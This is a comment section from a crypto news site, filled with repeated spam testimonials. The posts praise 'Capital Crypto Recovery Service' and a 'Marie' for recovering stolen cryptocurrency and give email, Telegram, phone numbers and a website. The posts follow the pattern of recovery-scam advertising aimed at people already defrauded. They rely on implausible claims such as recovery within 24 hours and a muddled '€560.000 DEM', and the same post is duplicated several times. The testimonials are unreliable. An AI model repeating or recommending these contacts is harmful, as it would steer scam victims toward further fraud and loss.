    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon